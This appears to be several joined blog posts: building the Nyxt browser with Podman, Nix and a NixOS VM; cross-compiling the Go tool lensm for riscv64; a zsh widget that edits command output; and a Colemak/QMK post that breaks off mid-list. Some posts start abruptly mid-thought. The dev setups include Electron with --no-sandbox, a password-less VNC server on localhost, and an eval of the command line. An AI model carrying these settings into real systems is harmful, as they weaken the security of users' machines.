Short version: I got it building with Podman and a Nix toolchain. Along the way I hit a dead upstream dependency that breaks the build for everyone, and I convinced myself that Nix cross-compilation fundamentally cannot solve this particular problem.

the docker route is a dead end

The “Get Nyxt via Docker!” button points at deddu/nyxt-docker. That image installs a prebuilt nyxt_2.2.4_amd64.deb. Three problems: it’s Nyxt 2.2.4 (the tree I’m working from is 4.0.0-pre-release), it’s amd64 only, and it doesn’t compile anything. The last commit is from 2022.

So if you actually want to compile current Nyxt, you’re writing your own container.

podman first

My Podman VM wouldn’t start:

Error: unable to connect to "gvproxy" socket

The log pointed at a missing SSH identity file. Digging further, the VM’s disk image was gone too. Only the config JSON survived, so podman machine list cheerfully reported a machine that had nothing behind it. Recreating it was the fix, and nothing was lost because there was nothing there:

podman machine rm -f podman-machine-default
podman machine init --memory 8192 --cpus 6 --disk-size 100
podman machine start

The memory bump matters. Nyxt’s makefile passes SBCL --dynamic-space-size 3072, so a 2GB VM won’t do.

a dependency that no longer exists

Nyxt vendors its Lisp dependencies as 110 git submodules. One of them doesn’t resolve:

fatal: repository 'https://github.com/pcostanza/closer-mop/' not found

closer-mop is a real and widely used library, but that GitHub repo is gone. Nyxt’s .gitmodules on master still points there, so this breaks for anyone cloning today, not just me.

Finding a replacement was harder than expected. The gitlab.common-lisp.net mirror exists but its history stops in 2013. The ocicl mirror has squashed history. Neither contains the pinned commit 7b86f2a.

Software Heritage had it. Their archive crawls GitHub and keeps content after upstream deletes it, and because git objects are content-addressed you can verify exactly what you got:

curl -sL "https://archive.softwareheritage.org/api/1/vault/flat/\
swh:1:dir:a586e6df8e167a401cc5632a03cd040ee896aa81/raw/" -o cmop.tar.gz
tar xzf cmop.tar.gz --strip-components=1 -C _build/closer-mop
cd _build/closer-mop && git init -q . && git add -A && git write-tree
# a586e6df8e167a401cc5632a03cd040ee896aa81

The computed tree hash matches the tree of the pinned commit, so this is provably the right source rather than something that merely looks close.

Git still wanted HEAD at the pinned commit. Since Software Heritage also stores the commit metadata, the commit object can be rebuilt byte for byte, and it hashes back to the original SHA. That was satisfying in a way I did not expect from a dependency-resolution problem.

the failure that wasn’t what it looked like

The first git submodule update --init --recursive aborted partway through, at closer-mop. After I fixed that and re-ran it, git submodule status reported everything clean.

It was lying, sort of. 41 submodules had been cloned but never checked out. The gitlinks matched, which is all git submodule status checks, so the directories sat there containing nothing but .git. This surfaced thousands of lines into an SBCL build as:

Component ASDF/USER::CALISPEL not found, required by #<NASDF-SYSTEM "nyxt">

git submodule update --init --recursive --force fixed it. The lesson I’m taking: a clean submodule status means the recorded commits agree, not that the files are on disk.

two small dependency papercuts

Debian trixie ships Python 3.13, which removed distutils per PEP 632. The node-gyp bundled with one of Electron’s native modules still imports it, so npm install dies. Installing python3-setuptools restores the import, because setuptools ships a distutils-precedence.pth that redirects it.

Then cl-enchant failed to load libenchant-2. Nyxt’s developer manual lists enchant as optional (it’s for spellchecking), but the library is dlopened at load time, so the build hard-fails without it. It also has to be the -dev package: CFFI asks for the unversioned libenchant-2.so, and Debian’s runtime package ships only libenchant-2.so.2.

switching to nix

Fighting distro packaging is exactly what Nix is for, so I moved the toolchain into a flake.

One wrinkle: my host is aarch64-darwin with no Linux builder configured, so it can’t realize aarch64-linux derivations. Rather than set up a builder VM, I run Nix inside the container. The flake pins the toolchain, Podman provides the Linux kernel, and no builder VM is needed.

default = pkgs.mkShell {
  nativeBuildInputs = with pkgs; [
    sbcl nodejs_20 python3 gnumake gcc git pkg-config xclip
  ];
  buildInputs = ffiLibs ++ electronLibs;
  LD_LIBRARY_PATH = nixpkgs.lib.makeLibraryPath (ffiLibs ++ electronLibs);
};

That nativeBuildInputs / buildInputs split is load-bearing. cffi-grovel shells out to pkg-config for libfixposix’s cflags, and nixpkgs’ pkg-config setup hook only exposes .pc files from buildInputs. Put the libraries in the wrong list and grovelling fails.

The other gotcha: nix develop needs an explicit flake reference. With no argument it resolves the flake from the working directory, which is the bind-mounted repo, where flake.nix is untracked by git and therefore invisible to Nix. The error message is good about saying so.

That builds:

podman run --rm -v "$PWD":/nyxt -w /nyxt nyxt-nix
./nyxt --version   # Nyxt version 4

so why not cross-compile?

This is where I’d expected to end up. The nix.dev cross-compilation tutorial is good, and pkgsCross makes targeting another platform look easy. If it worked, I could skip the container.

It doesn’t work here, for three reasons of increasing severity.

First, the tutorial says so directly: “It’s only possible to cross compile between aarch64-darwin and x86_64-darwin.” macOS to Linux is outside what’s supported.

Second, empirically, pkgsCross.aarch64-multiplatform.sbcl won’t even evaluate from Darwin. It fails on a build-time dependency, strace, that isn’t available on aarch64-darwin as the build platform. Interestingly, simpler cross targets do work; pkgsCross.aarch64-multiplatform.hello pulls a cross toolchain from the cache and starts building. So the wall isn’t cross-compilation in general, it’s this toolchain.

Third, and this is the one that actually settles it: even a perfect cross-compiled SBCL wouldn’t help. SBCL doesn’t link executables the way a C compiler does. It produces them with save-lisp-and-die, which per the SBCL manual dumps the currently running Lisp image and combines it with the runtime. Building Nyxt means loading all of Nyxt into a live SBCL and then dumping that process.

To produce a Linux binary, you must execute a Linux SBCL. Cross-compilation is about generating code for a machine you aren’t running on, and that’s precisely the thing this build cannot do. No amount of toolchain configuration gets around it, because the compiler is not the thing producing the artifact; a running process is.

Which reframes the container. I’d been thinking of Podman as a workaround for not having a Linux machine. It isn’t a workaround. It’s the mechanism, because what this build needs is a Linux execution environment, and that’s exactly what a container provides and what a cross-compiler does not.

The same reasoning applies to any language whose build step runs the artifact it’s building. Cross-compilation works for compile-and-link toolchains. It doesn’t work for image-dumping ones.

but sbcl does cross-compile, sort of

I should be precise here, because “SBCL can’t cross-compile” is not what I mean, and I’ve written a whole post arguing otherwise. Building SBCL for a new architecture is very much a cross-compilation process: a host SBCL runs make-host-1 to produce a cross-compiler for the target.

What that process cannot do is escape needing a live target. When I built SBCL for RISC-V, the actual driver was:

sh cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl \
  "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"

That sync and that port 2222 are the giveaway. The script rsyncs the tree into a QEMU RISC-V VM over SSH and runs the target-side build steps inside the VM. The cross-compiler gets you make-host-1. Everything after it needs a machine that can execute RISC-V code.

So the RISC-V work is prior art that corroborates the Nyxt conclusion rather than contradicting it. Cross-compiling the compiler: possible. Cross-dumping an application image: not. Both cases need a target execution environment, and the only thing that varies is what supplies it.

The interesting difference is cost. That post notes native SBCL compilation under QEMU RISC-V takes 3-4 hours, because every instruction is emulated. Here the container is aarch64-linux on aarch64 Apple Silicon, so the guest architecture matches the host and there’s no emulation penalty at all. Same structural requirement, wildly different price.

a second build machine

The container works, but it’s an awkward thing to keep reaching into. Since the real requirement is only “somewhere Linux that can execute,” a VM does the job as well and is nicer to drive: a small NixOS guest under UTM, aarch64 on aarch64, no emulation.

That took far longer than the container, almost entirely because of UTM quirks rather than anything to do with Nyxt. Three worth writing down:

UTM’s AppleScript source property is a no-op. You can create a VM with make new virtual machine ... drives:{{source:POSIX file "..."}} and it happily hands one back. The drive it writes has ImageType = CD and no ImageName, so no image is attached at all, and starting fails with “Cannot access resource”. The fix is to copy the image into the bundle’s Data/ directory and add ImageName with PlistBuddy.

An empty CD drive stops the firmware booting the disk. After installing I removed the ISO by deleting ImageName, leaving the drive itself in place. The VM then booted something that answered SSH and rejected every key — which reads exactly like a broken install, so I spent a long time debugging the install instead of the boot. Deleting the whole Drive:0 entry booted the installed system first try.

A changing SSH host key proves nothing. I kept concluding the installed system had booted because its host key differed from the previous boot. Live ISOs regenerate host keys in tmpfs every time, so of course it differed. The question that settles it is whether a persisted host key exists on disk: if /etc/ssh/ssh_host_ed25519_key isn’t there, the installed system has never completed a boot. One command, and I should have run it hours earlier.

There’s a related trap in inspecting an installed NixOS from a live ISO. Most /etc entries are absolute symlinks into /etc/static, so reading /mnt/etc/hostname resolves against the installer’s root, not the disk you mounted. I built an entire theory about the config not applying on that misreading. Only real files — /etc/ssh/authorized_keys.d/*, say — read correctly.

With the VM up, either form works:

# derivations, straight into the VM's store, no sudo
export NIX_SSHOPTS="-i ~/.ssh/utm_builder"
nix build --store ssh-ng://builder@192.168.64.32 <installable>

# nyxt itself
ssh builder@192.168.64.32 'cd ~/nyxt && nix develop --command make all'

The VM also caught a real bug the container had hidden. My flake carried a comment claiming nixpkgs’ python3 needed no distutils shim. It does — nixpkgs ships 3.12, and PEP 632 removed distutils there just as Debian’s 3.13 did. The container never hit it because it reused a node_modules tree an earlier Debian build had populated, so npm install never rebuilt the native module. A cold tree on the VM failed immediately. Reusing artifacts across toolchains will happily make a broken toolchain look like a working one.

what’s actually left

The binary is Linux either way, linked against a /nix/store glibc, so it runs in the container or the VM and not on the host.

I assumed the UTM guest would just show it, since UTM draws a window. It doesn’t: the guest has virtio_gpu loaded at refcount 0, no /dev/dri, no framebuffer, and XDG_SESSION_TYPE=tty. A UTM VM created through AppleScript gets no display device unless you add one, and there’d still be no desktop inside it. So “the VM has a screen” was wishful thinking on my part.

What works is a headless X server in the guest — Xvfb plus x11vnc — viewed over an SSH tunnel:

# guest
Xvfb :99 -screen 0 1600x1000x24 &
x11vnc -display :99 -rfbport 5999 -localhost -forever -nopw &
DISPLAY=:99 ./nyxt --electron-opts='--no-sandbox --disable-gpu --disable-dev-shm-usage'

# mac
ssh -N -L 5999:127.0.0.1:5999 builder@192.168.64.32
open vnc://127.0.0.1:5999

No XQuartz. Which is a preference rather than a necessity, incidentally — I’d assumed XQuartz was the abandoned legacy option, and it isn’t. 2.8.6 shipped on 2026-07-14, and its notes mention fixing an Apple Silicon bug where X11 surfaces rendered black.

the build was never the hard part

Getting that screenshot took four more failures, and the first one invalidates most of what I’d claimed up to this point.

Electron couldn’t launch at all. npm ships it as a generic-Linux prebuilt whose ELF interpreter is /lib/ld-linux-aarch64.so.1. NixOS has no such loader — the path exists but is a stub whose entire job is to print Could not start dynamically linked executable. programs.nix-ld supplies a real one plus a library path.

That is worth sitting with. Every time I said the build was “verified end to end,” the evidence was ./nyxt --version — which never starts Electron. The browser could not run, in the container or the VM, and the build had been telling me nothing about that. Building and running were separate questions and I’d been using one as proof of the other.

libgbm.so.1 wasn’t found, because nixpkgs split it out of mesa into its own libgbm. Listing mesa in nix-ld’s libraries isn’t enough any more.

--electron-opts rejected its own argument. This fails with missing arg for option:

--electron-opts '--no-sandbox --disable-gpu'

and this works:

--electron-opts='--no-sandbox --disable-gpu'

The parser reads a space-separated value beginning with -- as the next flag.

A relaunch produced no window while cheerfully logging “Nyxt started, opening new window.” A stale instance still held /run/user/1000/nyxt/nyxt.socket, so the new process handed its request to that one and exited — and the old one had no working Electron. The tell was a missing “Listening to socket” line in the log.

Four failures, four different-looking symptoms, none of which the build could have surfaced.

Containerfile, the plain Debian one, is still unverified end to end. It got as far as the enchant failure, I fixed that, and never re-ran it, because a successful run would have overwritten the working binary. It’s in the repo labelled as a sketch.

The more interesting direction is that nixpkgs has SBCL 2.6.5 for aarch64-darwin natively, and Electron ships macOS builds. So a native macOS Nyxt looks plausible with no container and no VM, which would sidestep the display problem entirely. Nyxt’s own docs call macOS support “in development.” That’s the next thing I want to try.

resources

• Common lisp disassembly through SBCL on RISC-V architecture, my earlier post on cross-building SBCL, which needed a QEMU target for the same structural reason
• Nyxt and its developer manual
• deddu/nyxt-docker, the image linked from Nyxt’s download page
• nix.dev: Cross compilation
• SBCL manual: Saving a Core Image
• Software Heritage
• PEP 632, deprecating and removing distutils

That is a claim about build systems, not about Lisp, and a claim like that is worth testing against a case that should come out the other way. So I picked lensm, a Go program that visualizes Go assembly, and cross-compiled it for riscv64.

Go inverts the SBCL situation exactly. go build writes an ELF file and never executes it. So the target machine should be needed only to run lensm, not to produce it. That distinction is worth money here: there is no riscv64 hardware attached to an Apple Silicon Mac, so a native build means emulating the entire Go compiler under QEMU’s TCG interpreter. Cross-compiling skips that entirely and the emulator only has to run the finished program.

It worked. But “Go cross-compiles trivially” turned out to be false for this program in an instructive way, and the most interesting failure was not a compiler failure at all.

terminology

Build platform / host platform / target platform. nixpkgs uses the GNU convention: the build platform runs the compiler, the host platform runs the resulting binary, and the target platform is what that binary itself emits code for (only meaningful for compilers). Here build is aarch64-linux and host is riscv64-linux. I will say “builder” and “guest” below to stay readable.

Sysroot. The target’s headers and libraries, laid out as the target’s filesystem would be, so a cross-compiler can resolve #include <X11/Xlib.h> against riscv64 X11 rather than the build machine’s.

cgo. Go’s C interop. A package using it declares its C dependencies in #cgo comment directives, which is where Gio hides its entire Linux windowing story.

Gio. The immediate-mode GUI toolkit lensm draws with, gioui.org.

the GOARCH switch is not enough

Go’s reputation for painless cross-compilation comes from pure-Go programs, where GOOS/GOARCH is genuinely the whole story. lensm is not one:

$ GOOS=linux GOARCH=riscv64 CGO_ENABLED=0 go build -o /dev/null .
package loov.dev/lensm
	imports gioui.org/app
	imports gioui.org/internal/vk: build constraints exclude all Go files in /Users/morph/go/pkg/mod/gioui.org@v0.10.1/internal/vk

That error is easy to misread as “this package does not support riscv64.” It is not. Every file in internal/vk is a cgo file, and Go excludes files that import "C" when cgo is disabled, so with CGO_ENABLED=0 the package has no files left and the constraint set collapses. The four files there are vulkan.go, vulkan_android.go, vulkan_wayland.go, vulkan_x11.go, and vulkan.go opens with //go:build linux || freebsd — Linux is precisely what it is for.

So Gio has no pure-Go path on Linux. It reaches X11, Wayland, EGL and Vulkan through cgo, which means cross-compiling lensm needs a complete riscv64 sysroot, not a GOARCH switch. The Go compiler is the easy half.

where the build has to happen

Not on the Mac. The nix.dev cross-compilation tutorial states it plainly — “It’s only possible to cross compile between aarch64-darwin and x86_64-darwin” — and I already hit this from the other direction in the Nyxt post. Darwin to Linux is outside what nixpkgs supports, regardless of the eventual target.

That leaves a slightly odd-looking three-machine pipeline:

macOS (aarch64-darwin)   drives, holds no compiler
  └─ NixOS UTM VM (aarch64-linux)   cross-compiles → riscv64
       └─ Ubuntu 24.04 QEMU VM (riscv64)   runs the result

The middle box is the same utm-builder VM the Nyxt post ended with, reused unchanged. Both it and the Mac are aarch64, so there is no emulation anywhere in the build — the only emulated thing in the whole pipeline is the final program.

the pkg-config list, extracted by failing

pkgsCross.riscv64 on the builder supplies the cross toolchain (riscv64-unknown-linux-gnu-gcc, Go 1.26.4) and cross-built libraries. Working out which libraries took a few rounds of letting the build tell me. Gio declares them across several files; the union is:

#cgo linux pkg-config: egl wayland-egl
#cgo linux pkg-config: wayland-client
#cgo linux pkg-config: wayland-client wayland-cursor
#cgo linux pkg-config: x11 xkbcommon xkbcommon-x11 x11-xcb xcursor xfixes

Two of those do not map to the package you would guess.

vulkan-loader ships the shared object but not the headers. internal/vk #includes <vulkan/vulkan.h>, so the build dies with:

fatal error: vulkan/vulkan.h: No such file or directory

vulkan-headers is a separate nixpkgs package and both are required.

x11-xcb has a Requires: on xcb. pkg-config resolves transitively and reports the dependency, not the thing you asked for, which makes the error read as though something unrelated is missing:

Package 'xcb', required by 'x11-xcb', not found

Adding libxcb fixes it. Also worth noting if you are copying older expressions: nixpkgs now warns that xorg.libX11 has been renamed to libx11.

a path-MTU blackhole that looked like flaky mirrors

This one cost more time than the entire cross-compile, and it is the part I would most want someone else to read.

Nix evaluation on the builder VM started failing at fetch time. Two different errors, from two different fetchers:

error: unable to download 'https://api.github.com/...':
  SSL routines::unexpected eof while reading

go: module lookup disabled ... net/http: TLS handshake timeout

Meanwhile channels.nixos.org worked perfectly. Every instinct says “GitHub is having a bad day, the Go proxy is rate-limiting me, retry later.” I retried for a while.

The pattern that actually mattered was not which host but how big the response. Small requests completed; anything past the first few KB hung and then died. The TLS handshake to api.github.com failing with unexpected eof rather than a certificate or DNS error is the same signature — the handshake got far enough to exchange bytes and then stopped mid-flight.

That is a path-MTU blackhole. Something on the path cannot carry a 1500-byte frame, and the ICMP “fragmentation needed” message that would tell the sender to shrink never comes back, so the connection does not fail — it simply stalls forever on the first full-size packet. TLS makes it look host-specific because the point at which you hit a full-size packet depends on how much the peer sends.

Lowering the MTU on the guest’s interface fixed it immediately:

ip link set enp0s1 mtu 1400   # Go module proxy started working
ip link set enp0s1 mtu 1280   # GitHub started working

1400 was enough for proxy.golang.org but not for api.github.com, which is itself a nice demonstration that the failure threshold is per-path. 1280 is the IPv6 minimum MTU and a safe floor. Persisted in the NixOS config:

networking.interfaces.enp0s1.mtu = 1280;

I have not traced exactly which hop in the UTM/vmnet path drops the ICMP, so “the ICMP never returns” is my inference from the symptom rather than something I captured. What I did observe is the size correlation and that the MTU change fixed it.

The lasting consequence is in the flake: the nixpkgs input is the channel tarball rather than github:nixos/nixpkgs, because that was the one that worked while I was still diagnosing.

inputs.nixpkgs.url = "https://channels.nixos.org/nixpkgs-unstable/nixexprs.tar.xz";

The tarball ships nixpkgs’ own flake.nix, so it is a drop-in input. Anything that needs GitHub or the Go module proxy is silently broken on a blackholed path, and nothing in the error text points at the network configuration.

buildGoModule, with three non-defaults

pkgs.buildGoModule {
  pname = "lensm";
  src = self;
  vendorHash = "sha256-gtlCOzHQopEry8KkKMb2xT3x/UMMU4zFy6czfqIoVLg=";
  subPackages = ["."];
  env.CGO_ENABLED = 1;
  doCheck = false;
  # ...
}

env.CGO_ENABLED = 1 for the reason above; cgo is not optional for this program.

doCheck = false because lensm’s tests are ordinary Go tests, and the test binaries are riscv64. The builder cannot run them. This is the one place where the SBCL problem reappears in miniature: checking requires execution even when building does not, so the check phase is the part of a Go build that genuinely cannot cross-compile.

subPackages = ["."] is the surprise. lensm vendors a slice of the Go toolchain under internal/go/src so it can decode object files. Those are real main packages, and without restricting the build, $out/bin picks up stray go, gen and asmcheck binaries alongside lensm.

two outputs, because /nix/store does not exist on Ubuntu

The Nix-built binary is correct and unrunnable on the guest:

$ file dist/lensm-riscv64-nixstore
ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV),
dynamically linked, interpreter /nix/store/37lxg0k99syg6n63mv0bavs41zbivfgq-glibc-riscv64-unknown-linux-gnu-2.42-67/lib/ld-linux-riscv64-lp64d.so.1,
for GNU/Linux 4.15.0, not stripped

Stock Ubuntu has no /nix, so the kernel cannot even start it. The options are to copy the whole Nix closure to the guest, install Nix on the guest, or repoint the interpreter. The third is viable here because every library lensm actually needs is a plain SONAME that Ubuntu ships via apt:

libc.so.6              libEGL.so.1            libX11.so.6
libdl.so.2             libwayland-client.so.0 libX11-xcb.so.1
libm.so.6              libwayland-cursor.so.0 libxcb.so.1
libpthread.so.0        libwayland-egl.so.1    libXcursor.so.1
libresolv.so.2         libxkbcommon.so.0      libXfixes.so.3
                       libxkbcommon-x11.so.0

That is readelf -d, which lists the 17 NEEDED entries the binary itself records — not ldd, which walks the whole transitive closure. The difference is not cosmetic. libffi shows up in ldd output, so it looked like a dependency and sat in buildInputs for a while; readelf -d shows it is not NEEDED by lensm at all, only pulled in beneath wayland and xkbcommon. Removing it from buildInputs entirely still builds clean, and the resulting binary re-verified in the guest with no not found lines. If you are assembling a library list by reading ldd, you will over-specify it and never find out.

So a second derivation just rewrites the header:

patchelf \
  --set-interpreter /lib/ld-linux-riscv64-lp64d.so.1 \
  --remove-rpath \
  $out/bin/lensm

The obvious risk is glibc symbol versioning. Nix’s cross glibc here is 2.42; if the binary references a symbol version newer than the guest’s glibc provides, it links against the guest loader and then fails at runtime with version GLIBC_2.xx not found. That is a measurable property rather than a thing to hope about, so I measured it:

$ readelf -V lensm | grep -oE 'GLIBC_[0-9.]+' | sort -uV | tail -1
GLIBC_2.34

The binary was built against 2.42 but only requires up to 2.34, because symbol versions are stamped per symbol at the version that symbol last changed. The floor and ceiling both clear:

• glibc gained riscv64 support in 2.27, for rv64imafdc lp64d among others, requiring linux 4.15 — which is exactly the for GNU/Linux 4.15.0 in the file output above.
• Ubuntu 24.04 ships libc6 at 2.39-0ubuntu8.7 on riscv64, per the noble-updates ports archive — which is what the guest actually reported: ldd (Ubuntu GLIBC 2.39-0ubuntu8.7) 2.39. The release pocket has 2.39-0ubuntu8; only the Ubuntu revision differs, and the upstream 2.39 that the comparison rests on is the same either way.

2.34 sits comfortably between. In the guest, ldd on the patched binary reported no not found lines, which is the confirmation rather than the prediction. This check needs redoing if the nixpkgs pin moves and the ceiling rises.

verifying in two stages

Standing up a riscv64 VM is an hour of work. Finding out afterwards that the binary is broken is a bad way to spend it, so the first check ran under qemu-user on the builder — same architecture emulation, no kernel, no disk image, no boot.

lensm has an mcp subcommand that runs a headless JSON-RPC server over stdin/stdout, which makes it drivable without any windowing system at all. That is a convenient property: the GUI program can be exercised as a pure function. I pointed it at the only riscv64 binary I had handy, which was itself, and asked it to disassemble main.main:

main.go:20
  MOV   16(X27), X6
  ADDI  $-368, X2, X7
  BLTU  X6, X7, 3(PC)

That is the standard Go stack-growth prologue in riscv64 registers — X27 is g, so this loads the stack guard, computes the new stack pointer, and branches to morestack if it would underflow. Seeing real riscv64 register names come out of a program that was itself riscv64, running under emulation, was the point at which I believed the cross-compile.

Only then did the VM go up, and the GUI ran there against a headless X server: Xvfb at 1400x900, with Gio mapping a window that xwininfo reported as 0x200001 "lensm" 1400x900. The interface came up for real — -filter 'main\.' narrowing to 134 / 14386 functions, Go assembly in the left pane beside native RISC-V on the right (AUIPC X5,0X1DA, JAL X5,-278232, SD X1,0(X2), BEQZ X12,16), with lensm’s control-flow arrows drawn between branch targets.

The screenshot also settles the prologue reading above. The instruction immediately after that BLTU is JAL X5, runtime.morestack_, so the branch really is the stack-growth check rather than something I inferred from register numbers alone.

riscv64 QEMU on macOS, versus the same thing on Linux

My earlier RISC-V post assumed a Linux host, and two of its steps do not survive the move to macOS.

The u-boot path does not exist. That post passes -kernel /usr/lib/u-boot/qemu-riscv64_smode/uboot.elf, which is a file Ubuntu’s u-boot-qemu package installs. There is no such package on Darwin. The fix is that the package does not need to be installed, only unpacked, and it is architecture-independent:

$ curl -s https://ports.ubuntu.com/ubuntu-ports/dists/noble-updates/main/binary-riscv64/Packages.gz \
    | gunzip | awk '/^Package: u-boot-qemu$/,/^$/' \
    | grep -E '^(Package|Architecture|Version|Filename):'
Package: u-boot-qemu
Architecture: all
Version: 2025.10-0ubuntu0.24.04.2
Filename: pool/main/u/u-boot/u-boot-qemu_2025.10-0ubuntu0.24.04.2_all.deb

Note noble-updates rather than noble: the release pocket still has 2024.01, and the field order differs between the two, which is why this pulls named fields instead of a fixed grep -A3 window.

Architecture: all means the .deb contains no compiled code for any particular machine, so extracting it on macOS is legitimate rather than a hack:

curl -LO https://ports.ubuntu.com/ubuntu-ports/pool/main/u/u-boot/u-boot-qemu_2025.10-0ubuntu0.24.04.2_all.deb
ar x u-boot-qemu_2025.10-0ubuntu0.24.04.2_all.deb
tar xf data.tar.*
# ./usr/lib/u-boot/qemu-riscv64_smode/uboot.elf

The first-boot password prompt cannot be scripted. The preinstalled image forces an interactive password change on the serial console, which is fine when you are typing at it and useless in a script. A cloud-init NoCloud seed ISO carrying the SSH key and the apt package list avoids the console entirely, and hdiutil can build one without any Linux ISO tooling — the volume label CIDATA is what cloud-init looks for:

hdiutil makehybrid -o seed.iso -iso -joliet -default-volume-name CIDATA seed

attached as a second virtio drive. The image itself is ubuntu-24.04.4-preinstalled-server-riscv64.img.xz — cdimage serves only the current point release, so that filename moves and the SBCL post has been bumped to match. Otherwise the invocation is the familiar one:

qemu-system-riscv64 \
  -machine virt -nographic -m 4096 -smp 4 \
  -kernel ./usr/lib/u-boot/qemu-riscv64_smode/uboot.elf \
  -netdev user,id=net0,hostfwd=tcp::2222-:22 \
  -device virtio-net-device,netdev=net0 \
  -drive file=ubuntu-24.04.4-preinstalled-server-riscv64.img,if=virtio,format=raw

a DISPLAY that exists and answers nothing

I wanted the window on my actual screen, not in a screenshot, so the plan was X11 forwarding to XQuartz. Instead xdpyinfo hung. Not “cannot open display” — hung, indefinitely, with no output.

The cause was that XQuartz was half-installed: /opt/X11 present, XQuartz.app missing. macOS registers a launchd socket for :0 and sets DISPLAY to point at it, and launchd will happily accept a connection on that socket in order to start the server on demand. With no server to start, the connection is accepted and then simply never answered. So DISPLAY is set, the socket is present, a connect() succeeds, and nothing behind it will ever speak the X protocol.

Worth remembering as a shape: an endpoint that accepts connections is not evidence that anything is listening in the sense you care about. A refused connection would have been far more informative. I left it there and used Xvfb, so the GUI has been verified running and rendering, but not interactively driven from the host — that is still open.

what this says about cross-compilation

The two prior posts and this one now cover both cases, and the dividing line is sharper than “which language.”

SBCL cannot cross-produce an application because its final step is an execution: save-lisp-and-die dumps a live process. Go can, because go build only ever writes bytes. That is not a maturity difference or a tooling gap — it is structural, and no amount of toolchain work moves a project from one side to the other.

What cross-compilation buys you is precisely the cost of emulation, so it matters most exactly where the architecture gap is widest. In the Nyxt case, the container was aarch64 on aarch64 and emulation cost nothing, so the “you must execute the target” requirement was cheap to satisfy. Here the target is riscv64 with no hardware in reach, and satisfying it natively would have meant running the Go compiler itself under TCG. Cross-compiling shrank the emulated surface from “the whole toolchain” to “one program, once, at the end.”

And notably, the target machine never disappeared. It moved. In the SBCL case the VM was part of the build; here it is part of the test. doCheck = false is that migration made explicit — the build crosses, the check does not, and pretending otherwise just moves a failure later.

resources

• lensm
• Gio
• nix.dev: Cross compilation
• SBCL manual: Saving a Core Image
• GNU C Library 2.27 released, the release that added the riscv64 port
• Ubuntu noble riscv64 package index
• cloud-init NoCloud datasource
• QEMU RISC-V platform documentation
• Common lisp disassembly through SBCL on RISC-V architecture
• compiling nyxt with podman and nix, and why cross-compilation can’t help

edit-command-output is a small ZLE widget that closes this gap. Press Alt+e with a command typed into your prompt, and it:

1. Runs the command, capturing stdout to a temp file
2. Opens the captured output in $EDITOR
3. Replaces your command line buffer with whatever you save

The entire flow stays inside the shell line editor, no subshell juggling, no copy-paste.

The code

edit-command-output() {
    local cmd="$BUFFER"
    [[ -z "${cmd// }" ]] && return 0

    local tmpf="${TMPDIR:-/tmp}/zsh-eco-$$.txt"

    # Run command, capture stdout (stderr passes through to terminal)
    if ! eval "$cmd" > "$tmpf" 2>/dev/tty; then
        print -u2 "edit-command-output: command failed: $cmd"
        command rm -f "$tmpf"
        return 0
    fi

    # Bail if nothing was captured
    if [[ ! -s "$tmpf" ]]; then
        command rm -f "$tmpf"
        return 0
    fi

    # Open editor on the captured output
    exec </dev/tty
    "${EDITOR:-vim}" "$tmpf"

    BUFFER="$(<$tmpf)"
    CURSOR=${#BUFFER}
    command rm -f "$tmpf"
}

zle -N edit-command-output

bindkey '^[e' edit-command-output
bindkey -M vicmd '^[e' edit-command-output

How it works

The widget reads $BUFFER, zsh’s variable holding the current command line text, and evals it, redirecting stdout to a temp file while letting stderr pass through to the terminal via 2>/dev/tty. If the command fails or produces no output, it bails early and cleans up.

Once output is captured, it reconnects stdin to the tty (exec </dev/tty) so the editor can run interactively, then opens the temp file in $EDITOR. When the editor exits, the saved contents replace $BUFFER and $CURSOR is placed at the end. The temp file is removed immediately after.

The binding ^[e (Alt+e) is registered in both the default and vicmd keymaps so it works regardless of vi-mode state.

Where this is useful

Filtering file lists. Type find . -name '*.log', press Alt+e, delete the paths you don’t care about, save. Your buffer now contains only the paths you want. Hit enter or append | xargs rm and continue.

Editing command output before piping. Type kubectl get pods, press Alt+e, trim the output to just the pod names you need, save. The buffer is ready to pipe into the next command.

Building arguments interactively. Type git branch -a, press Alt+e, keep only the branch you want, save. You now have a clean branch name sitting in your prompt.

The key advantage over C-x C-e (zsh’s built-in edit-command-line) is that edit-command-line edits the command itself before running it, while edit-command-output edits the output after running it. They complement each other well.

nota bene

:h zle in zsh docs, man zshzle

The copy in my dotfiles has picked up a few refinements since. It captures stderr to its own temp file and discards it rather than letting it through to the terminal, and on both failure and empty output it clears the buffer and calls zle reset-prompt instead of printing an error - so commands that succeed silently (ln, mv, cp, mkdir) just run and leave you a clean prompt. In full:

# Edit Command Output — Alt+e
# Runs the current command line, captures output, opens in $EDITOR.
# On :wq the edited text replaces BUFFER so you can pipe/use it.
# Commands with no output (like ln, mv, cp) execute normally and clear BUFFER.

edit-command-output() {
    local cmd="$BUFFER"
    [[ -z "${cmd// }" ]] && return 0

    local tmpf="${TMPDIR:-/tmp}/zsh-eco-$$.txt"
    local errf="${TMPDIR:-/tmp}/zsh-eco-err-$$.txt"
    local exit_code

    # Run command, capture stdout and stderr separately
    eval "$cmd" > "$tmpf" 2> "$errf"
    exit_code=$?

    if (( exit_code != 0 )); then
        # Command failed - clear buffer and show brief error, discard stderr
        command rm -f "$tmpf" "$errf"
        BUFFER=""
        CURSOR=0
        zle reset-prompt
        return 0
    fi

    # Command succeeded - discard stderr
    command rm -f "$errf"

    # If command succeeded but produced no output, just clear the buffer
    # This handles commands like ln, mv, cp, mkdir, etc.
    if [[ ! -s "$tmpf" ]]; then
        command rm -f "$tmpf"
        BUFFER=""
        CURSOR=0
        zle reset-prompt
        return 0
    fi

    # Open editor on the captured output
    exec </dev/tty
    "${EDITOR:-vim}" "$tmpf"

    BUFFER="$(<$tmpf)"
    CURSOR=${#BUFFER}
    command rm -f "$tmpf"
    zle reset-prompt
}

zle -N edit-command-output

bindkey '^[e' edit-command-output
bindkey -M vicmd '^[e' edit-command-output

I use Colemak-DH as my daily driver layout. It’s ergonomic, comfortable, and after the learning curve, significantly better for typing. But there’s a catch: Vim’s keybindings were designed for QWERTY.

The magic of hjkl for navigation, w for word-forward, b for back-these all assume QWERTY positioning. On Colemak-DH:

• h is where m should be
• j and k are scattered
• Muscle memory fights against layout

Some people remap Vim entirely. Others stick with QWERTY. I wanted both: Colemak-DH for typing, QWERTY for Vim commands.

The Solution: Raw HID Layer Switching

Modern QMK keyboards support Raw HID-a bidirectional communication channel between your computer and keyboard. We can use this to:

1. Detect when Neovim enters insert mode
2. Send a command to the keyboard
